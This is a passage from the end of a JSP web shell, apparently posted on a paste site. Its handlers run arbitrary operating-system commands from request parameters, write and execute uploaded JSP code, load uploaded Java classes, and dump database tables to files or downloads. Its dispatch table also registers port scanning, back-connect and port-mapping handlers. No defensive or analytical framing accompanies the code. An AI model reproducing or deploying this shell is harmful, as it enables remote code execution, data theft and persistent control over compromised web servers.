  2879. " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
  2880. );
  2881. out.println(" </td>"+
  2882. " </tr>"+
  2883. "</table>");
  2884. } catch (Exception e) {
  2885. throw e ;
  2886. }
  2887. }
  2888. }
  2889. private static class OnLineInvoker extends DefaultInvoker {
  2890. public boolean doBefore(){return false;}
  2891. public boolean doAfter(){return false;}
  2892. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2893. try {
  2894. String type = request.getParameter("type");
  2895. if (Util.isEmpty(type))
  2896. return;
  2897. if (type.toLowerCase().equals("start")) {
  2898. String exe = request.getParameter("exe");
  2899. if (Util.isEmpty(exe))
  2900. return;
  2901. Process pro = Runtime.getRuntime().exec(exe);
  2902. ByteArrayOutputStream outs = new ByteArrayOutputStream();
  2903. response.setContentLength(100000000);
  2904. response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
  2905. OnLineProcess olp = new OnLineProcess(pro);
  2906. JSession.setAttribute(SHELL_ONLINE,olp);
  2907. new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
  2908. new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2909. new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2910. Thread.sleep(1000 * 60 * 60 * 24);
  2911. } else if (type.equals("ecmd")) {
  2912. Object o = JSession.getAttribute(SHELL_ONLINE);
  2913. String cmd = request.getParameter("cmd");
  2914. if (Util.isEmpty(cmd))
  2915. return;
  2916. if (o == null)
  2917. return;
  2918. OnLineProcess olp = (OnLineProcess)o;
  2919. olp.setCmd(cmd);
  2920. } else {
  2921. Object o = JSession.getAttribute(SHELL_ONLINE);
  2922. if (o == null)
  2923. return;
  2924. OnLineProcess olp = (OnLineProcess)o;
  2925. olp.stop();
  2926. }
  2927. } catch (Exception e) {
  2928.  
  2929. throw e;
  2930. }
  2931. }
  2932. }
  2933. private static class EnterInvoker extends DefaultInvoker {
  2934. public boolean doBefore(){return false;}
  2935. public boolean doAfter(){return false;}
  2936. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2937. PrintWriter out = response.getWriter();
  2938. String type = request.getParameter("type");
  2939. if (!Util.isEmpty(type)) {
  2940. JSession.removeAttribute(ENTER);
  2941. JSession.removeAttribute(ENTER_MSG);
  2942. JSession.removeAttribute(ENTER_CURRENT_DIR);
  2943. JSession.setAttribute(MSG,"Exit File Success ! ");
  2944. } else {
  2945. String f = request.getParameter("filepath");
  2946. if (Util.isEmpty(f))
  2947. return;
  2948. JSession.setAttribute(ENTER,f);
  2949. JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  2950. }
  2951. response.sendRedirect(SHELL_NAME);
  2952. }
  2953. }
  2954. private static class VExport2FileInvoker extends DefaultInvoker {
  2955. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2956. PrintWriter out = response.getWriter();
  2957. String type = request.getParameter("type");
  2958. String sql = request.getParameter("sql");
  2959. String table = request.getParameter("table");
  2960. if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  2961. JSession.setAttribute(SESSION_O,"vConn");
  2962. response.sendRedirect(SHELL_NAME);
  2963. return;
  2964. }
  2965. out.println("<form action=\"\" method=\"post\">"+
  2966. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2967. " <tr>"+
  2968. " <td>"+
  2969. " <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
  2970. " <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
  2971. " <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
  2972. " <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
  2973. " <h2>Export To File &raquo;</h2>"+
  2974. " "+
  2975. " <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
  2976. " <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
  2977. " <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
  2978. " </tr>"+
  2979. " </table>"+
  2980. "</form>");
  2981. }
  2982. }
  2983.  
  2984. private static class ExportInvoker extends DefaultInvoker {
  2985. public boolean doBefore(){return false;}
  2986. public boolean doAfter(){return false;}
  2987. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2988. String type = request.getParameter("type");
  2989. String filepath = request.getParameter("filepath");
  2990. String encode = request.getParameter("encode");
  2991. String sql = null;
  2992. DBOperator dbo = null;
  2993. dbo = (DBOperator)JSession.getAttribute(DBO);
  2994.  
  2995. if (Util.isEmpty(type)) {
  2996. //table export
  2997. String tb = request.getParameter("table");
  2998. if (Util.isEmpty(tb))
  2999. return;
  3000. String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
  3001. sql = "select * from "+s+tb+s;
  3002.  
  3003. } else if (type.equals("queryexp")) {
  3004. //query export
  3005. sql = request.getParameter("sql");
  3006. if (Util.isEmpty(sql)) {
  3007. JSession.setAttribute(SESSION_O,"vConn");
  3008. response.sendRedirect(SHELL_NAME);
  3009. return;
  3010. }
  3011. }
  3012. Object o = dbo.execute(sql);
  3013. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3014. byte[] rowSep = "\r\n".getBytes();
  3015. if (o instanceof ResultSet) {
  3016. ResultSet rs = (ResultSet)o;
  3017. ResultSetMetaData meta = rs.getMetaData();
  3018. int count = meta.getColumnCount();
  3019. for (int i =1;i<=count;i++) {
  3020. String colName = meta.getColumnName(i)+"\t";
  3021. byte[] b = null;
  3022. if (Util.isEmpty(encode))
  3023. b = colName.getBytes();
  3024. else
  3025. b = colName.getBytes(encode);
  3026. bout.write(b,0,b.length);
  3027. }
  3028. bout.write(rowSep,0,rowSep.length);
  3029. while (rs.next()) {
  3030. for (int i =1;i<=count;i++) {
  3031. String v = null;
  3032. try {
  3033. v = rs.getString(i);
  3034. } catch (SQLException ex) {
  3035. v = "<<Error!>>";
  3036. }
  3037. v += "\t";
  3038. byte[] b = null;
  3039. if (Util.isEmpty(encode))
  3040. b = v.getBytes();
  3041. else
  3042. b = v.getBytes(encode);
  3043. bout.write(b,0,b.length);
  3044. }
  3045. bout.write(rowSep,0,rowSep.length);
  3046. }
  3047. rs.close();
  3048. ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
  3049. BufferedOutputStream output = null;
  3050. if (!Util.isEmpty(filepath)) {
  3051. //export2file
  3052. output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
  3053. } else {
  3054. //download.
  3055. response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
  3056. output = new BufferedOutputStream(response.getOutputStream());
  3057. }
  3058. byte[] data = new byte[1024];
  3059. int len = input.read(data);
  3060. while (len != -1) {
  3061. output.write(data,0,len);
  3062. len = input.read(data);
  3063. }
  3064. bout.close();
  3065. input.close();
  3066. output.close();
  3067. if (!Util.isEmpty(filepath)) {
  3068. JSession.setAttribute(MSG,"Export To File Success !");
  3069. response.sendRedirect(SHELL_NAME);
  3070. }
  3071. }
  3072. }
  3073. }
  3074. private static class EvalInvoker extends DefaultInvoker {
  3075. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3076. String type = request.getParameter("type");
  3077. PrintWriter out = response.getWriter();
  3078. Object msg = JSession.getAttribute(MSG);
  3079. if (msg != null) {
  3080. Util.outMsg(out,(String)msg);
  3081. JSession.removeAttribute(MSG);
  3082. }
  3083. if (Util.isEmpty(type)) {
  3084. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3085. " <tr>"+
  3086. " <td><h2>Eval Java Code &raquo;</h2>"+
  3087. "<hr/>"+
  3088. " <p>"+
  3089. " <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
  3090. "UpLoad a Class File : ");
  3091. Util.outMsg(out,"<pre>"+
  3092. "<span style='color:blue'>public class</span> SpyEval{\r\n"+
  3093. " <span style='color:blue'>static</span> {\r\n"+
  3094. " <span style='color:green'>//Your Code Here.</span>\r\n"+
  3095. " }\r\n"+
  3096. "}\r\n"+
  3097. "</pre>","left");
  3098. out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
  3099. " <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
  3100. " <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
  3101. " <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
  3102. " <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
  3103. " </form>"+
  3104. " </p>"+
  3105. " </td>"+
  3106. " </tr>"+
  3107. "</table>");
  3108. } else if (type.equals("jsp")){
  3109. String jspc = request.getParameter("jspc");
  3110. if (Util.isEmpty(jspc))
  3111. return;
  3112. File f = new File(SHELL_DIR,"evaltmpninty.jsp");
  3113. BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
  3114. writer.write(jspc,0,jspc.length());
  3115. writer.flush();
  3116. writer.close();
  3117. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3118. " <tr>"+
  3119. " <td><h2>Jsp Eval Result &raquo;</h2>");
  3120. out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  3121. request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
  3122. out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  3123. f.delete();
  3124. }
  3125. }
  3126. }
  3127. private static class EvalUploadInvoker extends DefaultInvoker {
  3128. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3129. ByteArrayOutputStream stream = new ByteArrayOutputStream();
  3130. UploadBean upload = new UploadBean();
  3131. upload.setTargetOutput(stream);
  3132. upload.parseRequest(request);
  3133.  
  3134. if (stream.toByteArray().length == 2) {
  3135. JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
  3136. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3137. return;
  3138. }
  3139. SpyClassLoader loader = new SpyClassLoader();
  3140. try {
  3141. Class c = loader.defineClass(null,stream.toByteArray());
  3142. c.newInstance();
  3143. }catch(Exception e) {
  3144. }
  3145. stream.close();
  3146. JSession.setAttribute(MSG,"Eval Java Class Done ! ");
  3147. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3148. }
  3149. }
  3150. private static class VOtherInvoker extends DefaultInvoker {
  3151. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3152. try {
  3153. PrintWriter out = response.getWriter();
  3154. Object msg = JSession.getAttribute(MSG);
  3155. if (msg != null) {
  3156. Util.outMsg(out,(String)msg);
  3157. JSession.removeAttribute(MSG);
  3158. }
  3159. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3160. " <tr>"+
  3161. " <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
  3162. " <div id=\"hOWTm\" style=\"line-height:30px\">"+
  3163. " <ul>");
  3164. Enumeration en = JSession.getAttributeNames();
  3165. while (en.hasMoreElements()) {
  3166. Object o = en.nextElement();
  3167. if (o.toString().equals(MSG))
  3168. continue;
  3169. out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
  3170. out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  3171. out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  3172. out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
  3173. out.println("</form></li>");
  3174. }
  3175. out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
  3176. "<legend>New Session Attribute</legend>"+
  3177. "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
  3178. " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
  3179. " </fieldset></form></li></ul></div></td>"+
  3180. " </tr>"+
  3181. " </table>");
  3182. } catch (Exception e) {
  3183. throw e ;
  3184. }
  3185. }
  3186. }
  3187. //Session Manager
  3188. private static class SmInvoker extends DefaultInvoker {
  3189. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3190. try {
  3191. String type = request.getParameter("type");
  3192. PrintWriter out = response.getWriter();
  3193. if (type.equals("update")) {
  3194. String name = request.getParameter("name");
  3195. String value = request.getParameter("value");
  3196. JSession.setAttribute(name,value);
  3197. JSession.setAttribute(MSG,"Update/Add Attribute Success !");
  3198. } else if (type.equals("delete")) {
  3199. String name = request.getParameter("name");
  3200. JSession.removeAttribute(name);
  3201. JSession.setAttribute(MSG,"Remove Attribute Success !");
  3202. }
  3203. ((Invoker)ins.get("vother")).invoke(request,response,JSession);
  3204. } catch (Exception e) {
  3205.  
  3206. throw e ;
  3207. }
  3208. }
  3209. }
  3210.  
  3211. static{
  3212. ins.put("script",new ScriptInvoker());
  3213. ins.put("before",new BeforeInvoker());
  3214. ins.put("after",new AfterInvoker());
  3215. ins.put("deleteBatch",new DeleteBatchInvoker());
  3216. ins.put("clipboard",new ClipBoardInvoker());
  3217. ins.put("vPortScan",new VPortScanInvoker());
  3218. ins.put("portScan",new PortScanInvoker());
  3219. ins.put("vConn",new VConnInvoker());
  3220. ins.put("dbc",new DbcInvoker());
  3221. ins.put("executesql",new ExecuteSQLInvoker());
  3222. ins.put("vLogin",new VLoginInvoker());
  3223. ins.put("login",new LoginInvoker());
  3224. ins.put("filelist", new FileListInvoker());
  3225. ins.put("logout",new LogoutInvoker());
  3226. ins.put("upload",new UploadInvoker());
  3227. ins.put("copy",new CopyInvoker());
  3228. ins.put("bottom",new BottomInvoker());
  3229. ins.put("vCreateFile",new VCreateFileInvoker());
  3230. ins.put("vEdit",new VEditInvoker());
  3231. ins.put("createFile",new CreateFileInvoker());
  3232. ins.put("vEditProperty",new VEditPropertyInvoker());
  3233. ins.put("editProperty",new EditPropertyInvoker());
  3234. ins.put("vs",new VsInvoker());
  3235. ins.put("shell",new ShellInvoker());
  3236. ins.put("down",new DownInvoker());
  3237. ins.put("vd",new VdInvoker());
  3238. ins.put("downRemote",new DownRemoteInvoker());
  3239. ins.put("index",new IndexInvoker());
  3240. ins.put("mkdir",new MkDirInvoker());
  3241. ins.put("move",new MoveInvoker());
  3242. ins.put("removedir",new RemoveDirInvoker());
  3243. ins.put("packBatch",new PackBatchInvoker());
  3244. ins.put("pack",new PackInvoker());
  3245. ins.put("unpack",new UnPackInvoker());
  3246. ins.put("vmp",new VmpInvoker());
  3247. ins.put("vbc",new VbcInvoker());
  3248. ins.put("backConnect",new BackConnectInvoker());
  3249. ins.put("jspEnv",new JspEnvInvoker());
  3250. ins.put("smp",new SmpInvoker());
  3251. ins.put("mapPort",new MapPortInvoker());
  3252. ins.put("top",new TopInvoker());
  3253. ins.put("vso",new VOnLineShellInvoker());
  3254. ins.put("online",new OnLineInvoker());
  3255. ins.put("enter",new EnterInvoker());
  3256. ins.put("export",new ExportInvoker());
  3257. ins.put("ev",new EvalInvoker());
  3258. ins.put("eu",new EvalUploadInvoker());
  3259. ins.put("vother",new VOtherInvoker());
  3260. ins.put("sm",new SmInvoker());
  3261. ins.put("vExport",new VExport2FileInvoker());
  3262. ins.put("vPack",new VPackConfigInvoker());
  3263. ins.put("reflect",new ReflectInvoker());
  3264. ins.put("portBack",new PortBackInvoker());
  3265. }
  3266. %>
  3267. <%
  3268. try {
  3269. String o = request.getParameter("o");
  3270. if (Util.isEmpty(o)) {
  3271. if (session.getAttribute(SESSION_O) == null)
  3272. o = "index";
  3273. else {
  3274. o = session.getAttribute(SESSION_O).toString();
  3275. session.removeAttribute(SESSION_O);
  3276. }
  3277. }
  3278. Object obj = ins.get(o);
  3279. if (obj == null) {
  3280. response.sendRedirect(SHELL_NAME);
  3281. } else {
  3282. Invoker in = (Invoker)obj;
  3283. if (in.doBefore()) {
  3284. String path = request.getParameter("folder");
  3285. if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
  3286. session.setAttribute(CURRENT_DIR,path);
  3287. ((Invoker)ins.get("before")).invoke(request,response,session);
  3288. ((Invoker)ins.get("script")).invoke(request,response,session);
  3289. ((Invoker)ins.get("top")).invoke(request,response,session);
  3290. }
  3291. in.invoke(request,response,session);
  3292. if (!in.doAfter()) {
  3293. return;
  3294. }else{
  3295. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3296. ((Invoker)ins.get("after")).invoke(request,response,session);
  3297. }
  3298. }
  3299. } catch (Exception e) {
  3300. Object msg = session.getAttribute(MSG);
  3301. if (msg != null) {
  3302. Util.outMsg(out,(String)msg);
  3303. session.removeAttribute(MSG);
  3304. }
  3305. if (e.toString().indexOf("ClassCastException") != -1) {
  3306. Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
  3307. }
  3308. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3309. e.printStackTrace(new PrintStream(bout));
  3310. session.setAttribute(CURRENT_DIR,SHELL_DIR);
  3311. Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
  3312. bout.close();
  3313. out.flush();
  3314. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3315. ((Invoker)ins.get("after")).invoke(request,response,session);
  3316. }
  3317. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement